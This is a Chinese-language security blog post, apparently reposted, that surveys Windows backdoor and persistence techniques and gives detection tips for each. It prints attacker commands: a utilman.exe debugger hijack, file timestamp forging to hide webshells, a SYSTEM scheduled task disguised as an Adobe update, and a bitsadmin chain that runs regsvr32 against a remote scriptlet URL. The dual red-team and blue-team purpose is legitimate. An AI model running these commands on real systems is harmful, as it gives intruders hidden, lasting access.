windows常见backdoor、权限维持方法及排查技术

2019-04-22 约 2583 字 预计阅读 6 分钟

声明:本文 【windows常见backdoor、权限维持方法及排查技术】 由作者 利华 于 2019-04-22 09:52:00 首发 先知社区 曾经 浏览数 9 次

感谢 利华 的辛苦付出!

TL;DR

  • Definition - What does Persistence mean?
    Persistence refers to object and process characteristics that continue to exist even after the process that created it ceases or the machine it is running on is powered off. When an object or state is created and needs to be persistent, it is saved in a non-volatile storage location, like a hard drive, versus a temporary file or volatile random access memory (RAM).
  • 这里把自己认知里面的一些windows backdoor和persistence的方式方法总结一下,并尽量持续更新。
    ## 常见backdoor和persistence方式方法
    ### 系统工具替换后门(辅助工具管理器/粘滞键后门等)
    Image 劫持辅助工具管理器
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

  • 类似的程序有osk.exe、Narrator.exe、Magnify.exe等。
  • 优点:简单
  • 缺点:易被检测
  • 排查:通过autoruns的Image Hijacks能查看到通过注册表进行Image劫持。
    ### 文件隐藏
    #### attrib命令隐藏
  • windows自带命令工具attrib用来显示或更改文件属性。
  • 优点:简单,一般的工具(D盾)扫描不到
  • 缺点:暂无
  • 排查:使用attrib命令查看
    #### 使用ADS流隐藏webshell
  • 使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接,可以使用php的include去包含执行


    文章参考:利用ADS隐藏webshell
    文章参考: Windows ADS在渗透测试中的妙用
  • 此外应该注意修改文件的timestamp,可使用如下的powershell命令或者使用NewFileTime工具
    $(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
    $(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
    $(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
    example:
    Set the last-access time for a file aaa.csv to the current time:  $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
    Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
  • 优点:较难检测
  • 缺点:暂无
  • 排查: dir /r
    ### 计划任务
  • schtasks和at命令,例如下面的命令
    ```
    #from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
    # Update scheduled Start Task
    SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
    SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"

Update scheduled End Task

SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f

SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"

* 优点:简单
* 缺点:易被检测
* 排查: schtasks /query 命令进行查询或者通过计算机的管理查看,注意在windows的中文版系统中,schtasks命令需要切换字符为美国英语格式,使用命令chcp 437,或者直接工具autoruns。
### 开机启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

* 优点:重启权限维持
* 缺点:一般杀软均会拦截
* 排查:一个一个手工查太麻烦,建议直接上autoruns。
### 服务

sc create [ServerName] binPath= BinaryPathName

* 优点:重启权限维持
* 缺点:一般杀软会拦截
* 排查:工具autoruns
### waitfor.exe
* 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe 
[详细参考](https://github.com/3gstudent/Waitfor-Persistence)
* 优点:远程主动激活
* 缺点:有waitfor进程
* 排查:通过Process Explorer工具查看是否有waitfor.exe进程,并进一步查看启动参数等。
### bitsadmin后门
* Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。

创建一个下载任务:

bitsadmin /create backdoor

添加文档:

bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe

设置下载成功之后要执行的命令:

bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"

执行任务:

bitsadmin /Resume backdoor
```

  • 可以参考这篇文章
    bitsadmin-backdoor-权限维持后门
  • 优点:系统自带无需上传
  • 缺点:免杀效果一般
  • 排查:bitsadmin /list /verbose
    ### WMI后门
  • 在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。更多可以参考
  • 在empire中有相应的module,作者参考使用了Powersploit里面的代码。

  • 后门在系统重启五分钟之内触发且是system权限。
  • 优点:无文件,相对来说难以排查
  • 缺点:暂无
  • 排查:autoruns
    ### COM劫持
  • 可以参考文章打开文件夹就运行?COM劫持利用新姿势
  • 利用CLR实现一种无需管理员权限的后门 "主动型"后门,WMI添加环境变量需要重启系统生效
  • 优点:隐藏性较好,autoruns查不到
  • 缺点:暂无
  • 排查:autoruns

    ### metasploit 后门
  • msf的后门有两种,一种是metsvc的后门,另外一种是persistence
  • metsvc 是开机自启动的服务型后门

    metsvc代码
  • persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。


    persistence代码
  • 优点:开机自启动
  • 缺点:容易被杀软杀
  • 排查:像是这种后门使用autoruns基本都可以排查出来。
    ### Empire persistence模块
  • Empire是一款功能非常强大的后渗透攻击框架。其中的persistence模块提供了一系列权限维持方法。
  • 工具还把权限维持分为了四大类,userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持,重启后失效)、miscellaneous(其它)。
  • 通过info命令查看使用方法
    更多可以参考文章
    ### 进程注入
  • 准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单介绍一下empire的psinject和meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽。
  • 使用方法这里就不介绍了,主要说一下如何hunting。这篇文章TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS里面介绍了如何hunting empire方法,其中使用process monitor是最快也是最有效的方法。
  • 但是在hunting 进程注入的时候,并没有像文章中说的查找到以起始地址为0x0的线程,但是发现被注入的进程属性里会有.NET Assemblies和.NET Performance两个菜单。如下图所示
  • 发现一个点就是在进程注入之后,使用run persistence会失败,可能得修改一下代码。
  • 优点:较难排查
  • 缺点:暂无
  • 排查:工具process explorer
    ### other
  • 抛砖引玉,更多windows backdoor方面最新文章可以关注国外安全研究员Casey Smith@subTee和Adam@Hexacorn。
    ### Reference
    Intranet_Penetration_Tips
    Nothing Lasts Forever: Persistence with Empire

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now